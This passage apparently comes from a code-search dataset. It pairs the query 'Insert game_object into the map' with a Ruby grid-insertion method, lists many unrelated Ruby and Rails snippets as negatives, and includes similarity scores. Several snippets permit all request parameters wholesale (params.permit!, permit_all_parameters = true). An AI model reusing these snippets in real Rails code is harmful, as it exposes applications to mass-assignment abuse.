params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def url_whitelist; end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def permit_request_params\n params.permit(:address)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def backend_user_params\n params.permit!\n end", "def url_params\n params[:url].permit(:full)\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.6981273", "0.6783789", "0.67460483", "0.6742222", "0.67354137", "0.65934366", "0.65028495", "0.6497783", "0.64826745", "0.6479415", "0.6456823", "0.6440081", "0.63800216", "0.6376521", "0.636652", "0.6319898", "0.6300256", "0.62994003", "0.6293621", "0.6292629", "0.6291586", "0.629103", "0.6282451", "0.6243152", "0.62413", "0.6219024", "0.6213724", "0.62103724", "0.61945", "0.61786324", "0.61755824", "0.6173267", "0.6163613", "0.6153058", "0.61521065", "0.6147508", "0.61234015", "0.61168665", "0.6107466", "0.6106177", "0.6091159", "0.60817343", "0.6071238", "0.6062299", "0.6021663", "0.60182893", "0.6014239", "0.6011563", "0.60080767", "0.60080767", "0.60028875", "0.60005623", "0.59964156", "0.5993086", "0.5992319", "0.5992299", "0.59801805", "0.59676576", "0.59606016", "0.595966", "0.59591126", "0.59589803", "0.5954058", "0.5953234", "0.5944434", "0.5940526", "0.59376484", "0.59376484", "0.5935253", "0.5930846", "0.5926387", "0.59256274", "0.5917907", "0.5910841", "0.590886", "0.59086543", "0.59060425", "0.58981544", "0.5898102", "0.5896809", "0.5895416", "0.58947027", "0.58923644", "0.5887903", "0.58830196", "0.5880581", "0.5873854", "0.58697754", "0.5869004", "0.58669055", "0.5866886", "0.58664906", "0.5864619", "0.58630043", "0.5862495", "0.5861368", "0.5859712", "0.5855544", "0.58551925", "0.5851284", "0.5850602" ]
0.0
-1
Insert game_object into the map
def insert(game_object) start_x = ( game_object.bb.left / @grid[0] ).to_i stop_x = ( game_object.bb.right / @grid[0] ).to_i (start_x ... stop_x).each do |x| start_y = ( game_object.bb.top / @grid[1] ).to_i stop_y = ( game_object.bb.bottom / @grid[1] ).to_i @game_object_positions[game_object] = [(start_x ... stop_x), (start_y ... stop_y)] @map[x] ||= [] (start_y ... stop_y).each do |y| @map[x][y] = game_object puts "#{game_object.class} => map[#{x}][#{y}]" if @debug end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def insert_object(object, map)\r\n if map[object.handle.to_s].nil?\r\n map[object.handle.to_s] = object\r\n end\r\n end", "def insert_object g\n @objects.add g\n end", "def << game_object\n @mutex.synchronize do\n @ghash[game_object.game_object_id] = game_object\n end\n end", "def insert(object)\n if object.is_a?(Driver)\n if Helper.is_out_of_bound(object.pos.x, object.pos.y, size) \n raise \"Wrong input : driver's position is out of boundary\"\n end\n @grid[object.pos.y][object.pos.x] = object.name\n @drivers << object\n elsif object.is_a?(User)\n if Helper.is_out_of_bound(object.pos.x, object.pos.y, size) \n raise \"Wrong input : user's position is out of boundary\"\n end\n @grid[object.pos.y][object.pos.x] = \"U\"\n @user = object\n else\n puts \"Error inserting object to map : expecting driver or user\" \n end\n end", "def add_object object\n return unless @map\n puts new_o = eval(object).new(:x =>mouse_x,:y=>mouse_y)\n @object_info << {:type =>eval(object),:x=>mouse_x - @map.x,:y =>mouse_y-@map.y}\n @objects << new_o\n end", "def place_object\n @board.place_object *next_position\n end", "def << game_object\n @mutex.synchronize do\n @ghash[game_object.goid] = game_object\n @all_goids << game_object.goid\n end\n end", "def add_object(name, object)\n if not(name.is_a?(Symbol))\n name = name.to_sym\n end\n if @game_objects[name] == nil\n @game_objects.store(name, object)\n end\n end", "def place_player(loc)\n puts \"Map thinks player was at #{@player_location}\" if Settings.debug_mode()\n place_object(1, @player_location)\n place_object(4, loc)\n @player_location = loc\n puts \"Map thinks player is now at #{@player_location}\" if Settings.debug_mode()\n end", "def place_object x, y\n if can_place?(x, y)\n @objects << [x, y]\n true\n end\n end", "def insert(obj)\n obj.og_insert(self)\n end", "def place_object(value, loc)\n @map[loc[0]][loc[1]] = value\n end", "def add_object(game_object, position = nil)\n\n @game_objects << game_object unless @game_objects.loaded? game_object.goid\n\n broadcast(:object_added, { :publisher => self, :game_object => game_object, :position => position})\n\n unless game_object.room.nil?\n room = @game_objects[game_object.room]\n unless room.nil?\n if room.is_a? Area\n room.add(game_object, position)\n else\n room.add(game_object)\n end\n end\n end\n\n @storage.store_object(game_object) unless game_object.is_a? Player\n\n log \"Added an object! (#{game_object.name})\", Logger::Medium\n\n if game_object.is_a? Player\n @game_objects.find_all(\"@admin\", true).each do |admin|\n admin.output \"#{game_object.name} has entered the game.\"\n end\n\n if game_object.room.nil?\n if game_object.info.former_room\n game_object.container = game_object.info.former_room\n else\n game_object.container = ServerConfig.start_room\n end\n end\n\n room = @game_objects[game_object.room]\n if room\n room.output(\"A plume of smoke suddenly descends nearby. As it clears, #{game_object.name} fades into view.\", game_object)\n end\n end\n end", "def add_game game\n @game_objects.push game\n update_record game\n end", "def add(entity, group, position: nil, token: nil)\n return if @entities[entity]\n\n raise 'entity cannot be nil' if entity.nil?\n\n @entities[entity] = {\n group: group,\n action: 0,\n bonus_action: 0,\n reaction: 0,\n movement: 0,\n statuses: Set.new,\n free_object_interaction: 0,\n target_effect: {}\n }\n\n @groups[group] ||= Set.new\n @groups[group].add(entity)\n\n # battle already ongoing...\n if started\n @late_comers << entity\n @entities[entity][:initiative] = entity.initiative!\n end\n\n return if position.nil?\n return if @map.nil?\n\n position.is_a?(Array) ? @map.place(*position, entity, token) : @map.place_at_spawn_point(position, entity, token)\n end", "def create_object_position\n @location = Sprite.new\n @location.bitmap = Cache.picture(LOCATION_PICTURE)\n center_im(@location)\n @location.z = 16\n @circlel = Sprite.new\n @circlel.tone.set(255, 0, 0)\n @circlel.blend_type = 1\n @circlel.bitmap = Cache.picture(CIRCLE_PICTURE)\n center_im(@circlel)\n @circlel.z = 16\n place_object\n end", "def insert(object)\n key_name = attributes.key[0].name\n tuple = dump(object)\n tuple.delete(key_name)\n key_value = relation.insert(tuple)\n\n object.public_send(\"#{key_name}=\", key_value)\n\n object\n end", "def place_oject_randomly(object)\n while is_wall?(object.location)\n object.location_x = 1 + rand(width - 1)\n\n object.location_y = 1 + rand(height - 1)\n end\n\n objects << object\n end", "def insert_pair g, m\n @objects.add(g)\n @attributes.add(m)\n @intent_map[g].add(m)\n @extent_map[m].add(g)\n end", "def place(player, location)\n\t\t@spaces[location] = player.piece\n\tend", "def create\n @game = Game.new(game_params)\n\n @game.save\n\n old_map = Map.find(params[:game][:map_id]) \n @game.map = old_map.dup\n old_map.spaces.each do |old_space|\n new_space = old_space.dup\n @game.map.spaces << new_space\n end\n @game.map.save\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render action: 'show', status: :created, location: @game }\n else\n format.html { render action: 'new' }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "def put(object)\n type = CLASS_TYPE[object.class] or raise NotImplementedError, \"class not supported: #{object.class}\"\n\n id = put_object(type, object.dump)\n\n objects[id] = object\n\n id\n end", "def place_piece(piece, pos)\n self[pos] = piece\n end", "def add(object)\n @inventory << object\n\n object.container = @game_object_id\n\n if object.is_a? Player or object.is_a? Mobile\n object.update_display\n end\n end", "def place_goal(loc)\n place_object(3, loc)\n end", "def warp(map_id, x_pos, y_pos, direction)\n $game_temp.player_new_x = x_pos\n $game_temp.player_new_y = y_pos\n $game_temp.player_new_direction = direction\n $game_temp.player_new_map_id = map_id\n $game_temp.player_transferring = true\n end", "def process_inputs_place_tile\n if inputs.mouse.down # if mouse is pressed\n state.world_lookup = {}\n x, y = to_coord inputs.mouse.down.point # gets x, y coordinates for the grid\n\n # Checks if any coordinates duplicate (already exist in world)\n if state.world.any? { |existing_x, existing_y, n| existing_x == x && existing_y == y }\n #erases existing tile space by rejecting them from world\n state.world = state.world.reject do |existing_x, existing_y, n|\n existing_x == x && existing_y == y\n end\n else\n state.world << [x, y, state.sprite_selected] # If no duplicates, add the sprite\n end\n end\n end", "def add_boat_to_board(boat)\n @boats << boat\n boat_id = @boats.length - 1\n\n boat.positions.keys.each { |pos|\n puts \"Putting boat #{boat_id} at #{pos}\"\n @board[pos] = boat_id\n }\n end", "def put_random(object)\n while true\n random_row = rand(1...@height - 1)\n random_column = rand(1...@width - 1)\n\n if @map[random_row][random_column] == @FLOOR\n @map[random_row][random_column] = object\n return [random_column, random_row]\n end\n end\n end", "def add(id, object)\n self.objects[id] = object\n end", "def gmap_add_point(map,iconpaz,obj,venue,title,window,iconsize=45)\n map.icon_global_init( gmaps_gicon(iconpaz,iconsize), \"icon_#{obj.id}\" )\n map.overlay_init(\n GMarker.new( venue.coordinates, \n :title => title,\n :icon => Variable.new(\"icon_#{obj.id}\"),\n :info_window => window # (obj.gmaps_info_window rescue \"'Warning! Object #{obj} (class: #{obj.class}) doesnt define method 'gmaps_info_window'!!! Clieck here for details: <HR/> #{link_to(obj,obj)}\" )\n )\n )\n end", "def add(entity)\n\t\t# TODO: set entity ID when adding to Space\n\t\t# (without a proper unique ID, serialization will not work. without serialization, we can't roll back history.)\n\t\t@entities << entity\n\t\t\n\t\t\n\t\t@cp_space.add_shape(entity.shape)\n\t\t@cp_space.add_body(entity.body)\n\tend", "def place_rover(r)\n @map[r.coordinate[0],r.coordinate[1]] = r\n end", "def set_map\n @map_canvas = GameCanvas.new\n @map = Map.new(self)\n @map_canvas.place(@map.map_size, @map.map_size, 10, @board.block_size * @board.num_rows + 10)\n end", "def add(entity, group, controller: nil, position: nil, token: nil, add_to_initiative: false)\n return if @entities[entity]\n\n raise 'entity cannot be nil' if entity.nil?\n\n state = {\n group: group,\n action: 0,\n bonus_action: 0,\n reaction: 0,\n movement: 0,\n stealth: 0,\n statuses: Set.new,\n active_perception: 0,\n active_perception_disadvantage: 0,\n free_object_interaction: 0,\n target_effect: {},\n two_weapon: nil,\n controller: controller || @standard_controller\n }\n\n @entities[entity] = state\n\n battle_defaults = entity.try(:battle_defaults)\n if battle_defaults\n battle_defaults[:statuses].each { |s| state[:statuses].add(s.to_sym) }\n unless state[:stealth].blank?\n state[:stealth] =\n DieRoll.roll(battle_defaults[:stealth], description: t('dice_roll.stealth'), entity: entity,\n battle: self).result\n end\n end\n\n @groups[group] ||= Set.new\n @groups[group].add(entity)\n\n # battle already ongoing...\n if add_to_initiative\n @combat_order << entity\n elsif started\n @late_comers << entity\n @entities[entity][:initiative] = entity.initiative!(self)\n end\n\n return if position.nil?\n return if @map.nil?\n\n if position.is_a?(Array)\n @map.place(*position, entity, token,\n self)\n else\n @map.place_at_spawn_point(position, entity, token)\n end\n end", "def setup(id)\n @maps.clear\n @maps[0]=Game_Map.new\n @mapIndex=0\n oldID=(!$game_map) ? 0 : $game_map.map_id\n if oldID!=0 && oldID!=@maps[0]\n setMapChanging(id,@maps[0])\n end\n $game_map=@maps[0]\n @maps[0].setup(id)\n setMapsInRange\n setMapChanged(oldID)\n end", "def create_map\n @map = Sprite.new\n @map.bitmap = Cache.picture(MAP_PICTURE)\n @map.x = M_X\n @map.y = M_Y\n @map.z = 11\n end", "def place_piece(player)\n $grid_hash[$confirmed_piece] = player\n return true\nend", "def place_piece(piece, pos)\n raise 'position not empty' unless empty?(pos)\n \n self[pos] = piece\n end", "def add_object object, id = nil\n id = MASK_ID if (id.nil? && object.is_a?(Mask))\n id ||= DEFAULT_INVENTORY_ID\n super object, id\n object.set_layer self if (object.methods.include?(:set_layer) || object_mask_has_method?(object, :set_layer))\n end", "def associate_sprite(obj,id=nil)\n\t\tid = associate(obj,id)\n\t\tif obj.is_a? Rubygame::Sprite::Sprite\n\t\t\t@sprites.push(obj)\n\t\tend\n\t\treturn id\n\tend", "def add_monster\n coord = get_empty_coords()\n x_coord = coord[0]\n y_coord = coord[1]\n\n new_monster = Monster.new(x_coord, y_coord, @x_size, @y_size)\n @all_monsters.push(new_monster)\n end", "def do_insert(thing, team)\n target = instance_variable_get(thing)\n if target.leaf?\n instance_variable_set(thing,\n self.class.new(target, leafify(team))\n )\n else\n target.insert(team)\n end\n end", "def add_static object\n\t\t\t@statics << object if !@statics.include? object\n\t\t\tobject.each do |ri,ci,pixel|\n\t\t\t\tif !pixel.nil? and object.y+ri >= 0 and object.y+ci >= 0\n\t\t\t\t\tif @smap[object.y+ri][object.x+ci].nil?\n\t\t\t\t\t\tif pixel.bg == -1\n\t\t\t\t\t\t\tpixel.bg = @map[object.y + ri][object.x + ci].bg if !@map[object.y + ri][object.x + ci].nil?\n\t\t\t\t\t\t\tpixel.bg = Theme.get(:background).bg if pixel.bg == -1\n\t\t\t\t\t\tend\n\t\t\t\t\t\tif pixel.fg == -1\n\t\t\t\t\t\t\tpixel.fg = @map[object.y + ri][object.x + ci].fg if !@map[object.y + ri][object.x + ci].nil?\n\t\t\t\t\t\t\tpixel.fg = Theme.get(:background).fg if pixel.fg == -1\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\t@smap[object.y+ri][object.x+ci] = pixel\n\t\t\t\t\telse\n\t\t\t\t\t\t@smap[object.y+ri][object.x+ci] = @smap[object.y+ri][object.x+ci].dup\n\t\t\t\t\t\t@smap[object.y+ri][object.x+ci].fg = pixel.fg if pixel.fg != -1\n\t\t\t\t\t\t@smap[object.y+ri][object.x+ci].bg = pixel.bg if pixel.bg != -1\n\t\t\t\t\t\t@smap[object.y+ri][object.x+ci].symbol = pixel.symbol\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend", "def insertEditorObject _obj, _args\n \"_obj insertEditorObject _args;\" \n end", "def update_save_tilemap_stuff\n $game_system.stuff_map_grid[$game_map.map_id] = Table.new($game_map.map.width,$game_map.map.width)\n if $game_system.stuff_map[$game_map.map_id]\n $game_system.stuff_map_grid[$game_map.map_id] = Table.new($game_map.map.width,$game_map.map.width)\n $game_system.stuff_map[$game_map.map_id].each do |obj|\n stuff = obj.item\n x1 = obj.x\n y1 = obj.y\n stuff[:tiles].each_pair do |key,value|\n tiles = value\n tiles.each_with_index do |array,y|\n array.each_with_index do |tile,x|\n map_grid = $game_system.stuff_map_grid[$game_map.map_id]\n map_grid[x1+x,y1+y] = tile\n $d_stuff_need_update = true\n end\n end\n end\n end\n end\n $d_stuff_need_update = true\n end", "def add_player(id)\n\t\t@players[id]=Player.new\n\tend", "def get_object\n next_x = @cur_x + DIRECTION[@hero_direction][0]\n next_y = @cur_y + DIRECTION[@hero_direction][1]\n return if next_x < 0 || next_x > 14 || next_y < 0 || next_y > 14\n #look at new square in room\n next_square = @room[next_x][next_y]\n if next_square == CHAR_POTION || next_square == CHAR_CHEST || next_square == CHAR_IDOL\n @room[next_x][next_y] = CHAR_FLOOR\n draw_map(next_x,next_y)\n @potions += 1 if next_square == CHAR_POTION\n @treasure += 1 if next_square == CHAR_CHEST\n @idol_found = true if next_square == CHAR_IDOL\n @stats[:experience] += 0.25\n end\n end", "def add(tile)\n @tiles.add tile unless include? tile\n end", "def change_map(i, j)\n \n @world_map.current = [i,j]\n @map = @world_map.current\n if !@world_map.creatures\n rep = CreatureRepartition.create_random(\n @time,\n CreatureGenerator.names,\n 20\n )\n @world_map.creatures = rep\n else\n @world_map.creatures.evolve!(@time)\n end\n \n @creatures = @world_map.creatures.populate(self, @map)\n\n end", "def add_piece(coords, piece)\n @grid[coords[0]][coords[1]] = piece\n end", "def store_object(object)\n\n volatile_data = object.dehydrate()\n\n open_store(\"goids\", false) do |gd|\n gd[object.goid] = object.class.to_s\n end\n\n open_store(object.class, false) do |gd|\n gd[object.goid] = Marshal.dump(object)\n end\n\n if object.respond_to? :equipment\n object.equipment.each do |o|\n store_object(o) unless o.is_a? Player #this shouldn't happen, but who knows\n end\n end\n\n @saved += 1\n\n object.rehydrate(volatile_data)\n\n log \"Stored #{object} # #{object.game_object_id}\", Logger::Ultimate\n end", "def add(regionEnd, obj)\n @map.push [regionEnd, obj]\n @sorted = false\n end", "def update_player_map\n @map.tiles[@location.first][location.second].seen = true\n #corners\n @map.tiles[@location.first + 1][@location.second - 1].seen = true\n @map.tiles[@location.first - 1][@location.second - 1].seen = true\n @map.tiles[@location.first + 1][@location.second + 1].seen = true\n @map.tiles[@location.first - 1][@location.second + 1].seen = true\n #cardinal directions\n @map.tiles[@location.first][@location.second + 1].seen = true\n @map.tiles[@location.first][@location.second - 1].seen = true\n @map.tiles[@location.first - 1][@location.second].seen = true\n @map.tiles[@location.first + 1][@location.second].seen = true\n\n #TODO Uncomment\n if !(@map.tiles[@location.first][location.second].monsters.empty?)\n here = @map.tiles[@location.first][location.second]\n #20% chance of monster appearing\n monster_outcome = Random.rand(here.monsters.size * 5)\n if (monster_outcome < here.monsters.size)\n system(\"clear\")\n battle(self, here.monsters[monster_outcome])\n end\n end\n end", "def add(o); addObject o end", "def take \n element = @root.level.maps.first.element_at @position\n \n unless element.is_a? Interactable \n say(\"I can't pick it up!\") \n return\n end\n @inventory << element \n @root.level.maps.first.game_objects.delete(element)\n @root.inventory_updated if defined? @root.inventory_updated\n end", "def add(obj)\n Maglev::PERSISTENT_ROOT[self][obj.__id__] = obj\n end", "def placePiece(dest_cell, piece)\n cells[dest_cell[0]][dest_cell[1]].addPiece(piece) \n end", "def summon_monster(monster, time)\n # add monster\n @monsters.push(monster)\n # set timer\n @summon_time[monster] = time * 40\n # stop if scene not Scene_Map or spriteset doesn't exist\n return if !$scene.is_a?(Scene_Map) || $scene.spriteset == nil\n # create sprite\n sprite = Sprite_Character.new($scene.spriteset.viewport1, monster)\n # add to spriteset handler\n $scene.spriteset.character_sprites.push(sprite)\n end", "def draw_map_obj\n MapCellWall.destroy_all\n MapCellGen.destroy_all\n HPBar.destroy_all\n clear_towers\n $map.occupied_spaces.each do |cell|\n x = cell.x\n y = cell.y\n case cell.object\n when MapAbxn::Wall\n MapCellWall.create(:x => $node_size * 5 * x + $node_size * 5 / 2.0, :y => $node_size * 5 * y + $node_size * 5/2.0)\n when MapAbxn::Tower\n draw_tower(cell.object, $node_size * 5 * x, $node_size * 5 * y, 0.1)\n when MapAbxn::Generator\n MapCellGen.create(:x => $node_size * 5 * x + $node_size * 5 / 2.0, :y => $node_size * 5 * y + $node_size * 5/2.0)\n end\n end\n end", "def draw_map(x,y)\n object = @room[x][y]\n @ui.place_text(object, x+2, y+6, DungeonOfDoom::C_YELLOW_ON_RED)\n #check of object shown in a monster, if so, activate it. only activate one at a time\n @ui.place_text(\"MONSTER STRENGTH: #{@mon_strength.round}\".ljust(20),1,5,DungeonOfDoom::C_BLACK_ON_YELLOW) if @monster_detected\n if CHAR_MONST.include?(object) && !@monster_detected\n @monster_detected = true\n @mon_x, @mon_y = x,y\n @mon_type = object\n @mon_attack = CHAR_MONST.index(object)+1\n @mon_strength = @mon_attack*12\n end\n end", "def create_worldmap\n @pokemon_worldmap = GamePlay::WorldMap.new(:pokedex, $env.get_worldmap)\n @pokemon_worldmap.create_graphics\n end", "def place(pos)\n @board[pos.i][pos.j] = Stone.new(current, pos, move)\n UpdateGroups.call(game: self, pos: pos)\n ko_clear\n opponent = current == :black ? :white : :black\n capture(opponent, pos)\n capture(current)\n next_player\n self\n end", "def add_event(map_id, event_id, new_id,x=nil,y=nil)\n map = Cache.map(map_id)\n return unless map\n event = ev_format(map.events.fetch(event_id, nil).custom_deep_clone)\n return unless event\n event.id = new_id\n clone_events = @events.clone\n new_event = Game_Event.new(@map_id, event)\n clone_events.store(new_id, new_event)\n x ||= event.x\n y ||= event.y\n @events = clone_events\n @events[new_id].moveto(x, y)\n @need_refresh = true\n @max_event_id = [@max_event_id, new_id].max\n SceneManager.scene.add_event_sprite(new_event)\n end", "def insert_piece(piece,x,y) \n piece.points.each { |point| \n #puts \"Inserting #{point[0]},#{point[1]} to #{x},#{y}\" \n @pole[x+point[0]][y-point[1]] = piece.name\n }\n end", "def commandnewgame_mapsetup\r\n # Set up initial map position\r\n $game_map.setup($data_system.start_map_id)\r\n # Move player to initial position\r\n $game_player.moveto($data_system.start_x, $data_system.start_y)\r\n # Refresh player\r\n $game_player.refresh\r\n # Run automatic change for BGM and BGS set with map\r\n $game_map.autoplay\r\n # Update map (run parallel process event)\r\n $game_map.update\r\n end", "def entityHashPush(entity, key, value)\n @entityMap = {} unless @entityMap != nil\n @entityMap[entity] = {} unless @entityMap[entity] != nil \n @entityMap[entity][key] = value\nend", "def shoot\n bullet1 = Bullet.new(@x, @y, @angle, @map, @pColor)\n bullet2 = Bullet.new(@x, @y, @angle + Math::PI / 2, @map, @pColor)\n bullet3 = Bullet.new(@x, @y, @angle + Math::PI, @map, @pColor)\n bullet4 = Bullet.new(@x, @y, @angle + Math::PI * 3 / 2, @map, @pColor)\n\n @map.PobjectArray.push(bullet1)\n @map.PobjectArray.push(bullet2)\n @map.PobjectArray.push(bullet3)\n @map.PobjectArray.push(bullet4)\n end", "def <<(entity)\n reg_id = entity.registry_id\n if old = self[reg_id]\n fire_duplicate_id(old, entity)\n old\n else\n @registry[reg_id] = entity\n entity_list(entity) << entity\n add_entity_to_grid(entity)\n entities_bordering_entity_at(entity.x, entity.y).each(&:wake!)\n entity\n end\n end", "def add_entity_to_grid(entity)\n cells_overlapping(entity.x, entity.y).each {|s| s << entity }\n end", "def place_piece piece_id, r, c\r\n puts \"Placing a #{piece_id} at #{r}, #{c}\"\r\n @board[r][c]= piece_id\r\n end", "def placePiece(dest_cell, piece)\n @cells[dest_cell[0]][dest_cell[1]].addPiece(piece) \n end", "def drawFromPixmap\n #Initializes the two object arrays, one for static, and one for dynamic.\n @DobjectArray = Array.new\n @SobjectArray = Array.new\n #This is the array that is used for collision.\n @KobjectArray = Array.new(400)\n @KobjectArray.map! {Array.new(25, nil)}\n #Initializes the object array for projectiles.\n @PobjectArray = Array.new\n #Initializes the object array for effects.\n @EobjectArray = Array.new\n #Initializes the array that contains all the respawn points.\n @respawnArray = Array.new\n #Sets victory and winto false.\n @victory = false\n @win = false\n #Sets the pixel map in accordance with the level.\n case @level\n when 0\n pixelMap = Gosu::Image.new(\"Assets/pixelmapL1.png\")\n when 1\n pixelMap = Gosu::Image.new(\"Assets/pixelmapL2.png\")\n when 2\n pixelMap = Gosu::Image.new(\"Assets/pixelmapL3.png\")\n end\n #Iterates through all pixels in the pixelmap, creating objects depending on the color of the pixel.\n for x in 0..399\n for y in 0..24\n #Gets the color and the type of object of the pixel.\n color = pixelMap.get_pixel(x, y)\n #If the color is black, move on, as it does not represent anything significant. This speeds up initialization\n #significantly.\n if color[0] == 0 and color[1] == 0 and color[2] == 0\n next\n end\n #If the pixel is black, ignore, as it does not represent anything.\n key = getFromPixel(color)\n #Creates a block, as the pixel represents a block.\n if key == \"block\"\n block = Block::Block.new(x * 16, y * 16, self)\n @SobjectArray.push(block)\n #Sets that coordinate on the map to true for collision purposes.\n @KobjectArray[x][y] = true\n end\n #Creates the player, as the pixel represents the player spawn.\n if key == \"player\"\n @player = Player::Player.new(x * 16, y * 16, self)\n #Creates the first respawn point.\n @respawnX = x * 16\n @respawnY = y * 16\n @healthBar = HealthBar::HealthBar.new(self)\n @DobjectArray.push(@player)\n end\n #Adds a respawn point, as the pixel represents a respawn point.\n if key == \"respawn\"\n @respawnArray.push([x * 16, y * 16])\n end\n #Adds the exit door, as the pixel represents the exit door.\n if key == \"exitdoor\"\n @exitDoor = ExitDoor::ExitDoor.new(x * 16, y * 16, self)\n @DobjectArray.unshift(@exitDoor)\n end\n #Creates a turret, as the pixel represents the turret spawn.\n if key == \"turret\"\n turret = Turret::Turret.new(x * 16, y * 16, self)\n @DobjectArray.push(turret)\n end\n #Creates a wall enemy, as the pixel represents the wall enemy spawn.\n if key == \"wall\"\n wall = Wall::Wall.new(x * 16, y * 16, self)\n @DobjectArray.push(wall)\n end\n #Creates a spike enemy, as the pixel represents the spike enemy spawn.\n if key == \"spike\"\n spike = Spike::Spike.new(x * 16, y * 16, self)\n @DobjectArray.push(spike)\n end\n #Creates an xshooter enemy, as the pixel represents the xshooter enemy spawn.\n if key == \"xshooter\"\n xshooter = XShooter::XShooter.new(x * 16, y * 16, self)\n @DobjectArray.push(xshooter)\n end\n #Creates a charger enemy, as the pixel represents the charger enemy spawn.\n if key == \"charger\"\n charger = Charger::Charger.new(x * 16, y * 16, self)\n @DobjectArray.push(charger)\n end\n #Creates a missile launcher enemy, as the pixel represents the missile launcher enemy spawn.\n if key == \"missile launcher\"\n mLauncher = MissileLauncher::MissileLauncher.new(x * 16, y * 16, self)\n @DobjectArray.push(mLauncher)\n end\n end\n end\n #Creates the camera.\n @camera = Camera::Camera.new(@player.x, @player.y)\n #The x and y of the respawn point.\n @respawnX = 0\n @respawnY = 0\n end", "def insertMapping(name, id)\n row = DatabaseManager.row('SYMPLECTIC_COLL_MAP')\n row.setColumn('key_text', name)\n row.setColumn('collection_id', id)\n 